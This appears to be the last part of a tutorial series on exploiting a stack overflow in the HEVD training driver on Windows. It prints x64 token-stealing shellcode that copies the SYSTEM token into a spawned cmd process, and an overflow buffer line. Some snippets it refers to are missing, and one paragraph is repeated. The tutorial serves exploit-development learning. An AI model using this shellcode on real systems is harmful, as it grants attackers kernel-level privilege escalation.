In last part of this series, we have worked on copying the system token from system process to cmd process. The final section of the exploit, which is often ignored, is how to avoid crashing since we are dealing with ring 0 land here. Thus, we must find out that after exploit, where the execution should be redirected. One of the best available options is to route back to parent function as in the case of normal execution flow. So now let’s now join all the pieces together
First, let’s obtain the handle of the driver that we have seen how to do it in part 1. Below is the code snippet for the same.
Next step will be to get the IOCTL for the stack overflow. This is also discussed in part 1. Next step will be to look out for System process and replace the token of spawned cmd process. The system process will already be running under PID 4 and since we have to copy the token from System process to our cmd process. First, we have to spawn the cmd process. Below is the code using CreateProcess API to do so.
Where STARTUPINFO structure is below
and Process_Information structure is as below
Note: Please note in the code how the dwProcessId member is being referenced. If we run only the above stub, we should get output like this below that a cmd process is spawned with PID 1628.
There is a reason why we are extracting PID from CMD? Any guesses. Yes, because while traversing the EPROCESS structures we will look to compare the PID of the spawned cmd process. This is explained in the function in the last article like this CMD_process_enumerate: Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink. Cmp rdx, 1628 // Since rdx now contains the PID . PID of cmd 1628 Jz <CMD_process_found> // if found, jmp to SYSTEM_process_found stub Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process) Jmp CMD_process_enumerate // continue enumeration
Now we need to feed in the shellcode created in previous part. Below are the instructions for the shell code
mov rdx, [gs: 188h] // this involves pointer till KPCRB structure mov r8, [rdx + 70h] // this involves pointer to KTHREAD mov r9, [r8 + 188h] // r8 points to head of EPROCESS and 188h is the offset for ActiveProcessLink mov rcx,[r9] // pointer to the next process in the list System_process_enumerate: Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink. Cmp rdx, 4 // Since rdx now contains the PID . Comparing it with SYSTEM process PID:4 Jz <SYSTEM_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below) Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process) Jmp System_process_enumerate // continue enumeration SYSTEM_process_found: // reference from SYSTEM_process_enumerate Mov rax, [rcx + 80h] //saving the token of the process And al, 0f0h // clearing the 4 lower bits CMD_process_enumerate: Mov rdx, [rcx-8] // since UniqueProcessId is -8 from ActiveProcessLink. Cmp rdx, 4444 // Since rdx now contains the PID . PID of cmd 4444(assume it for now) Jz <CMD_process_found> // if found, jmp to SYSTEM_process_found stub (discussed below) Mov rcx ,[rcx] // moving the current rcx pointer (which points to next process) Jmp CMD_process_enumerate // continue enumeration CMD_process_found: Mov [rcx+80h], rax // moving the SYSTEM token in rax to CMD token And below is the shellcode for the same
Please note that how the PID of the cmd process will be passed to the shellcode to swap the toke obtained from SYSTEM process under PID 4.
After this, we need to allocate the buffer for the created shellcode. We can do it by using VirtualAlloc like below
Now we need to create string buffer like below Shellbof=create_string_buffer(A*2056 +struct.pack(“<Q”,buf)) Where buf is the return address of the shellcode buffer. Replace this with the IOCTL discussed in part 1 or point 2 above. Note: Replace the first line.
Now we are ready to launch the exploit. As soon the script is run, a cmd will be spawned but with privileges of System process Where buf is the return address of the shellcode buffer. Replace this with the IOCTL discussed in part 1 or point 2 above. Note: Replace the first line.
This concludes a straightforward buffer overflow example in driver land. Since there are many vulnerabilities in HEVD like below
I will try to cover them in other articles.